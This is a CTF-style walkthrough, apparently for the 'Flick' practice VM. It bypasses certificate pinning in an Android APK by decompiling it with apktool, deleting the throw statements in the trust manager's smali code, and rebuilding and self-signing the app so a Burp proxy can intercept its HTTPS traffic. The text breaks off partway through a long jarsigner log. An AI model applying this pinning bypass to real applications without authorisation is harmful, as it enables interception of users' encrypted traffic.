Starting the Emulator and Setting a Proxy (and scaling the emulator window)

/path/to/Library/Android/sdk/tools/emulator @testphone -http-proxy http://192.168.0.56:8080 -scale 250dpi

Just put an @ in front of the devices name you have set in AVD Manager. Also you can see here the command for setting a proxy and also for scaling the Emulator. In my case it was bigger than my Macbook Resolution so I wanted to reduce the dpi a bit.

Just play around with dpi values until the Window gets an acceptable size!

et voila – the emulator boots up:

emulator-booting

Once it is booted up you can install the flick-check-dist.apk using adb:

/path/to/Library/Android/sdk/platform-tools/adb install ~/Desktop/flick-check-dist.apk
1200 KB/s (1109803 bytes in 0.902s)
	pkg: /data/local/tmp/flick-check-dist.apk
Success

And you have a new program installed:

apk-installed

Starting FlickCheck it asks for the Server IP:

setting-server

When you start the Emulator without an HTTP Proxy you will see the App and can play around with it:

free

Now wouldn’t it be great to just MitM the HTTPS API Calls and send custom commands?

Turns out you can’t (just yet) :-(

connection-failed

Burp will show us the problem:

cert-pinning-error

 

So an SSL Client will tell the server why it does cancel the SSL negotiation, neat!

Second Order of Business: MitM the APK

So now I am as far as i was in August 2015 when I stopped with this VM! Luckily as said in the intro this years SANS Holiday Hack Challenge teached me how to circumvent this problem:

jadx-gui and apktool to the rescue \o/

One important lesson in IT-Security design is, that the client is hostile! So once you release a program into the wild you basically lose control over it!

Android Apps written in Java are very easy to reverse engineer!

The first thing with my newly aquired skills was to open the flick-check-dist.apk in jadx-gui (grab jadx here).

This will not just decompile to smali code but instead reconstruct an approximation of the initial Java Code.

Inside of this i quickly found the Function that performed the certificate pinning (the so called Trust Manager):

jadx-trust-manager

See the long PUB_KEY string? Thats the Certificate hash that is pinned!

Now how if we could just decompile the APK, change the program logic and then recompile and execute it!

Good thing we can with apktool!

Grab apktool here if you have not already downloaded it!
Now armed with apktool we can decompile the apk to smali code:

/path/to//apktool d ~/Desktop/flick-check-dist.apk 
I: Using Apktool 2.2.1 on flick-check-dist.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: ./Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

And now we got the decompiled application:

decompiled-smali-code

 

Directory listing of the decompiled smali folder

Now I asked myself the following questions:

a) How is the certificate Pinning implemented in the app?

This can easily be answered with jadx-gui! Searching for the PubKeyManager function name in the code…

search-trustmanager

…shows where it is being called:

pubkeymanager-functioncall

 

Now lets look at the smali code of PubKeyManager.smali:

MahcBook-Pro:flickcheck sebastianbrabetz$ cat PubKeyManager.smali 
.class public final Lcom/flick/flickcheck/PubKeyManager;
.super Ljava/lang/Object;
.source "PubKeyManager.java"

# interfaces
.implements Ljavax/net/ssl/X509TrustManager;


# static fields
.field static final synthetic $assertionsDisabled:Z

.field private static PUB_KEY:Ljava/lang/String;


# direct methods
.method static constructor ()V
    .locals 1

    .prologue
    .line 13
    const-class v0, Lcom/flick/flickcheck/PubKeyManager;

    invoke-virtual {v0}, Ljava/lang/Class;->desiredAssertionStatus()Z

    move-result v0

    if-nez v0, :cond_0

    const/4 v0, 0x1

    :goto_0
    sput-boolean v0, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    .line 17
    const-string v0, "30820122300d06092a864886f70d01010105000382010f003082010a0282010100b7051e2040155a8e78903e325a8680bd680f0c9cbd164225422a6face762db4da9c7fa11687cc10fc1a20ea1e31260525145d5b18e2692e6e61e0b00d14e78fc62d031cafef90d9dc9599527beae644d1ce0af5b4ec21d405544a1c4a69fc39704e5897791c407f5e77c8bc195be7bcdb6fb30da1f2485d8853c9ce40ebc834e5d7c5c81f052ad03a57921aa940d6b928a0cee39979398e84d9cbf57565109f42f9634db46211f65b89fb9c7375e5a9810c0a89d10b7b6d9301eab716102e35ffe09ae29f764bc2527534e68381306fb7a984c208baa00090b65f4c44d0ace781cd9779130b9e4ea1a54c8bc3c1e9fa31855ebf57f72815775bba604ed6d41290203010001"

    sput-object v0, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    return-void

    .line 13
    :cond_0
    const/4 v0, 0x0

    goto :goto_0
.end method

.method public constructor ()V
    .locals 0

    .prologue
    .line 13
    invoke-direct {p0}, Ljava/lang/Object;->()V

    return-void
.end method


# virtual methods
.method public checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 0
    .param p1, "xcs"    # [Ljava/security/cert/X509Certificate;
    .param p2, "string"    # Ljava/lang/String;

    .prologue
    .line 71
    return-void
.end method

.method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 6
    .param p1, "chain"    # [Ljava/security/cert/X509Certificate;
    .param p2, "authType"    # Ljava/lang/String;
    .annotation system Ldalvik/annotation/Throws;
        value = {
            Ljava/security/cert/CertificateException;
        }
    .end annotation

    .prologue
    .line 32
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_0

    if-nez p1, :cond_0

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    throw v3

    .line 33
    :cond_0
    if-nez p1, :cond_1

    .line 34
    new-instance v3, Ljava/lang/IllegalArgumentException;

    const-string v4, "checkServerTrusted: X509Certificate array is null"

    invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V

    throw v3

    .line 38
    :cond_1
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_2

    array-length v3, p1

    if-gtz v3, :cond_2

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    throw v3

    .line 39
    :cond_2
    array-length v3, p1

    if-gtz v3, :cond_3

    .line 40
    new-instance v3, Ljava/lang/IllegalArgumentException;

    const-string v4, "checkServerTrusted: X509Certificate is empty"

    invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V

    throw v3

    .line 54
    :cond_3
    const/4 v3, 0x0

    aget-object v3, p1, v3

    invoke-virtual {v3}, Ljava/security/cert/X509Certificate;->getPublicKey()Ljava/security/PublicKey;

    move-result-object v2

    check-cast v2, Ljava/security/interfaces/RSAPublicKey;

    .line 55
    .local v2, "pubkey":Ljava/security/interfaces/RSAPublicKey;
    new-instance v3, Ljava/math/BigInteger;

    const/4 v4, 0x1

    invoke-interface {v2}, Ljava/security/interfaces/RSAPublicKey;->getEncoded()[B

    move-result-object v5

    invoke-direct {v3, v4, v5}, Ljava/math/BigInteger;->(I[B)V

    const/16 v4, 0x10

    invoke-virtual {v3, v4}, Ljava/math/BigInteger;->toString(I)Ljava/lang/String;

    move-result-object v0

    .line 59
    .local v0, "encoded":Ljava/lang/String;
    sget-object v3, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    invoke-virtual {v3, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z

    move-result v1

    .line 60
    .local v1, "expected":Z
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_4

    if-nez v1, :cond_4

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    throw v3

    .line 61
    :cond_4
    if-nez v1, :cond_5

    .line 62
    new-instance v3, Ljava/security/cert/CertificateException;

    new-instance v4, Ljava/lang/StringBuilder;

    invoke-direct {v4}, Ljava/lang/StringBuilder;->()V

    const-string v5, "checkServerTrusted: Expected public key: "

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    sget-object v5, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    const-string v5, ", got public key:"

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v4

    invoke-direct {v3, v4}, Ljava/security/cert/CertificateException;->(Ljava/lang/String;)V

    throw v3

    .line 66
    :cond_5
    return-void
.end method

.method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate;
    .locals 1

    .prologue
    .line 76
    const/4 v0, 0x0

    return-object v0
.end method

So goto, much complex, such complicated, so wow!

This brings the next question:

b) How to disable the Certificate Pinning check?

Lets look closely again at the code that calls the PubKeyManager() function in jadx:

functioncall2Aha an exception catcher logic!

Once again the PubKeyManager Function:

pubkeymanager2

 

So the program logic is, that everything works well as long as the PubKeyManager() Function does not throw an exception!

Now what did i see all over the smali code of the PubKeyManager.smali file?

 new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    throw v3

Crazy thought: What if I just remove all “throw” statements in the PubKeyManager.smali file?

The resulting code looks like this:

MahcBook-Pro:flickcheck sebastianbrabetz$ cat PubKeyManager.smali 
.class public final Lcom/flick/flickcheck/PubKeyManager;
.super Ljava/lang/Object;
.source "PubKeyManager.java"

# interfaces
.implements Ljavax/net/ssl/X509TrustManager;


# static fields
.field static final synthetic $assertionsDisabled:Z

.field private static PUB_KEY:Ljava/lang/String;


# direct methods
.method static constructor ()V
    .locals 1

    .prologue
    .line 13
    const-class v0, Lcom/flick/flickcheck/PubKeyManager;

    invoke-virtual {v0}, Ljava/lang/Class;->desiredAssertionStatus()Z

    move-result v0

    if-nez v0, :cond_0

    const/4 v0, 0x1

    :goto_0
    sput-boolean v0, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    .line 17
    const-string v0, "30820122300d06092a864886f70d01010105000382010f003082010a0282010100b7051e2040155a8e78903e325a8680bd680f0c9cbd164225422a6face762db4da9c7fa11687cc10fc1a20ea1e31260525145d5b18e2692e6e61e0b00d14e78fc62d031cafef90d9dc9599527beae644d1ce0af5b4ec21d405544a1c4a69fc39704e5897791c407f5e77c8bc195be7bcdb6fb30da1f2485d8853c9ce40ebc834e5d7c5c81f052ad03a57921aa940d6b928a0cee39979398e84d9cbf57565109f42f9634db46211f65b89fb9c7375e5a9810c0a89d10b7b6d9301eab716102e35ffe09ae29f764bc2527534e68381306fb7a984c208baa00090b65f4c44d0ace781cd9779130b9e4ea1a54c8bc3c1e9fa31855ebf57f72815775bba604ed6d41290203010001"

    sput-object v0, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    return-void

    .line 13
    :cond_0
    const/4 v0, 0x0

    goto :goto_0
.end method

.method public constructor ()V
    .locals 0

    .prologue
    .line 13
    invoke-direct {p0}, Ljava/lang/Object;->()V

    return-void
.end method


# virtual methods
.method public checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 0
    .param p1, "xcs"    # [Ljava/security/cert/X509Certificate;
    .param p2, "string"    # Ljava/lang/String;

    .prologue
    .line 71
    return-void
.end method

.method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 6
    .param p1, "chain"    # [Ljava/security/cert/X509Certificate;
    .param p2, "authType"    # Ljava/lang/String;
    .annotation system Ldalvik/annotation/Throws;
        value = {
            Ljava/security/cert/CertificateException;
        }
    .end annotation

    .prologue
    .line 32
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_0

    if-nez p1, :cond_0

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    .line 33
    :cond_0
    if-nez p1, :cond_1

    .line 34
    new-instance v3, Ljava/lang/IllegalArgumentException;

    const-string v4, "checkServerTrusted: X509Certificate array is null"

    invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V

    .line 38
    :cond_1
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_2

    array-length v3, p1

    if-gtz v3, :cond_2

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    .line 39
    :cond_2
    array-length v3, p1

    if-gtz v3, :cond_3

    .line 40
    new-instance v3, Ljava/lang/IllegalArgumentException;

    const-string v4, "checkServerTrusted: X509Certificate is empty"

    invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V

    .line 54
    :cond_3
    const/4 v3, 0x0

    aget-object v3, p1, v3

    invoke-virtual {v3}, Ljava/security/cert/X509Certificate;->getPublicKey()Ljava/security/PublicKey;

    move-result-object v2

    check-cast v2, Ljava/security/interfaces/RSAPublicKey;

    .line 55
    .local v2, "pubkey":Ljava/security/interfaces/RSAPublicKey;
    new-instance v3, Ljava/math/BigInteger;

    const/4 v4, 0x1

    invoke-interface {v2}, Ljava/security/interfaces/RSAPublicKey;->getEncoded()[B

    move-result-object v5

    invoke-direct {v3, v4, v5}, Ljava/math/BigInteger;->(I[B)V

    const/16 v4, 0x10

    invoke-virtual {v3, v4}, Ljava/math/BigInteger;->toString(I)Ljava/lang/String;

    move-result-object v0

    .line 59
    .local v0, "encoded":Ljava/lang/String;
    sget-object v3, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    invoke-virtual {v3, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z

    move-result v1

    .line 60
    .local v1, "expected":Z
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_4

    if-nez v1, :cond_4

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    .line 61
    :cond_4
    if-nez v1, :cond_5

    .line 62
    new-instance v3, Ljava/security/cert/CertificateException;

    new-instance v4, Ljava/lang/StringBuilder;

    invoke-direct {v4}, Ljava/lang/StringBuilder;->()V

    const-string v5, "checkServerTrusted: Expected public key: "

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    sget-object v5, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    const-string v5, ", got public key:"

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v4

    invoke-direct {v3, v4}, Ljava/security/cert/CertificateException;->(Ljava/lang/String;)V

    .line 66
    :cond_5
    return-void
.end method

.method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate;
    .locals 1

    .prologue
    .line 76
    const/4 v0, 0x0

    return-object v0
.end method

No more exceptions beeing thrown that can be catched \o/

Now packing this up again with apktool:

MahcBook-Pro:temp sebastianbrabetz$ ../path/to/apktool b flick-check-dist/ -o flick-hacked.apk
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
MahcBook-Pro:temp sebastianbrabetz$ ls -l
total 2128
drwxr-xr-x  8 sebastianbrabetz  staff      272 25 Dez 17:13 flick-check-dist
-rw-r--r--  1 sebastianbrabetz  staff  1086587 25 Dez 17:13 flick-hacked.apk

Now lets uninstall the original application:

uninstall-orig-app

 

And install the our newly compiled, certificate pinning free BadBoy:

MahcBook-Pro:temp sebastianbrabetz$ /path/to/Library/Android/sdk/platform-tools/adb install ~/temp/flick-hacked.apk 
963 KB/s (1086587 bytes in 1.101s)
	pkg: /data/local/tmp/flick-hacked.apk
Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES]

Yet another problem! We first need to sign the APK (a selfsigned cert will suffice).

Here are 2 Simple steps to create yourself a certificate keystore and sign with it:

1. keystore erstellen (osx):
keytool -genkey -keystore (name).keystore -validity 10000 -alias (name)

2. sign app:
jarsigner -keystore (keystorenamename).keystore -verbose APK-NAME.apk (keystorename)

In my case it looks like this:

MahcBook-Pro:temp sebastianbrabetz$ jarsigner -keystore ~/path/to/test.keystore -verbose flick-hacked.apk test
Enter Passphrase for keystore: ******
   adding: META-INF/MANIFEST.MF
   adding: META-INF/TEST.SF
   adding: META-INF/TEST.DSA
  signing: AndroidManifest.xml
  signing: classes.dex
  signing: res/anim/abc_fade_in.xml
  signing: res/anim/abc_fade_out.xml
  signing: res/anim/abc_grow_fade_in_from_bottom.xml
  signing: res/anim/abc_shrink_fade_out_from_bottom.xml
  signing: res/anim/abc_slide_in_bottom.xml
  signing: res/anim/abc_slide_in_top.xml
  signing: res/anim/abc_slide_out_bottom.xml
  signing: res/anim/abc_slide_out_top.xml
  signing: res/color/abc_background_cache_hint_selector_material_dark.xml
  signing: res/color/abc_background_cache_hint_selector_material_light.xml
  signing: res/color/abc_primary_text_disable_only_material_dark.xml
  signing: res/color/abc_primary_text_disable_only_material_light.xml
  signing: res/color/abc_primary_text_material_dark.xml
  signing: res/color/abc_primary_text_material_light.xml
  signing: res/color/abc_search_url_text.xml
  signing: res/color/abc_secondary_text_material_dark.xml
  signing: res/color/abc_secondary_text_material_light.xml
  signing: res/drawable-hdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-hdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-hdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-hdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-hdpi-v4/abc_btn_rating_star_off_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_btn_rating_star_on_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-hdpi-v4/abc_cab_background_top_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_commit_search_api_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_go_search_api_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_list_divider_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_list_focused_holo.9.png
  signing: res/drawable-hdpi-v4/abc_list_longpressed_holo.9.png
  signing: res/drawable-hdpi-v4/abc_list_pressed_holo_dark.9.png
  signing: res/drawable-hdpi-v4/abc_list_pressed_holo_light.9.png
  signing: res/drawable-hdpi-v4/abc_list_selector_disabled_holo_dark.9.png
  signing: res/drawable-hdpi-v4/abc_list_selector_disabled_holo_light.9.png
  signing: res/drawable-hdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png
  signing: res/drawable-hdpi-v4/abc_popup_background_mtrl_mult.9.png
  signing: res/drawable-hdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_textfield_activated_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_textfield_default_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
  signing: res/drawable-ldrtl-hdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-hdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-hdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-hdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-ldrtl-mdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-mdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-mdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-mdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-ldrtl-xhdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xhdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xhdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-xhdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-ldrtl-xxhdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xxhdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xxhdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-xxhdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-ldrtl-xxxhdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xxxhdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xxxhdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-xxxhdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-mdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-mdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-mdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-mdpi-v4/abc_btn_rating_star_off_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_btn_rating_star_on_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-mdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-mdpi-v4/abc_cab_background_top_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_commit_search_api_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_go_search_api_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_list_divider_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_list_focused_holo.9.png
  signing: res/drawable-mdpi-v4/abc_list_longpressed_holo.9.png
  signing: res/drawable-mdpi-v4/abc_list_pressed_holo_dark.9.png
  signing: res/drawable-mdpi-v4/abc_list_pressed_holo_light.9.png
  signing: res/drawable-mdpi-v4/abc_list_selector_disabled_holo_dark.9.png
  signing: res/drawable-mdpi-v4/abc_list_selector_disabled_holo_light.9.png
  signing: res/drawable-mdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png
  signing: res/drawable-mdpi-v4/abc_popup_background_mtrl_mult.9.png
  signing: res/drawable-mdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_textfield_activated_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_textfield_default_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
  signing: res/drawable-tvdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-tvdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-v21/abc_cab_background_top_material.xml
  signing: res/drawable-xhdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-xhdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-xhdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-xhdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-xhdpi-v4/abc_btn_rating_star_off_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_btn_rating_star_on_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-xhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-xhdpi-v4/abc_cab_background_top_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_commit_search_api_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_go_search_api_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_list_divider_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_list_focused_holo.9.png
  signing: res/drawable-xhdpi-v4/abc_list_longpressed_holo.9.png
  signing: res/drawable-xhdpi-v4/abc_list_pressed_holo_dark.9.png
  signing: res/drawable-xhdpi-v4/abc_list_pressed_holo_light.9.png
  signing: res/drawable-xhdpi-v4/abc_list_selector_disabled_holo_dark.9.png
  signing: res/drawable-xhdpi-v4/abc_list_selector_disabled_holo_light.9.png
  signing: res/drawable-xhdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png
  signing: res/drawable-xhdpi-v4/abc_popup_background_mtrl_mult.9.png
  signing: res/drawable-xhdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_textfield_activated_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_textfield_default_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-xxhdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-xxhdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-xxhdpi-v4/abc_btn_radio_to_on_mtrl_015.png
